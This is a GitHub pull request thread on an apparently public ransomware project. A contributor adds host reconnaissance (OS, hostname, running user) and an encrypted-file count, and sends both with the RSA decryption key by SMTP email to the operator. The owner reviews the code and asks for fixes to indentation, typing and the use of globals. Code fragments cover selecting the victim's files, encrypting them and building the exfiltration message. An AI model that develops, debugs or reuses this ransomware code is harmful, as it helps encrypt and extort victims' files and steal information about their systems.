Skip to content

Conversation

@ghostwalkr
Copy link

I added a function to do some basic information gathering on the host. It gets os name, hostname, user the ransomware was run as, etc. Also added a counter for the encrypted files. The information gathered by these two new things is sent with the decryption key via SMTP.

@NullArray NullArray self-requested a review June 9, 2020 18:54
@NullArray NullArray self-assigned this Jun 9, 2020
Copy link
Owner

@NullArray NullArray left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

See annotations.

if SMTP == True:
key = RSA.generate(2048)
exKey = key.exportKey('PEM')
hostinfo = recon()
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Indentation error also you will need to process the dict to an actual array of strings.

files_to_enc.append(os.path.join(root, file))


encrypted_count = str(len(files_to_enc)) ## Get a count of the encrypted files
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

you can't str(len(array) str sets the type to string, you are looking at an array here files_to_enc . This will throw a type error.

encrypt_file(key, in_filename)

def select_files():
global encrypted_count
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please use method arguments instead of global variables when not returning in a particular method.

TO = ["[email protected]"]
SUBJECT = "Ransomware data: "+str(ts)
MESSAGE = """\Client ID: %s Decryption Key: %s """ % (ID, exKey)
MESSAGE = """\Client ID: %s Decryption Key: %s Host info: %s Number of encrypted files: %s""" % (ID, exKey, str(hostinfo), encrypted_count)
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Indentation error

@NullArray
Copy link
Owner

Thank you for your contribution. Let's first get some of these issues resolved. After which i will consider the merger alright?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants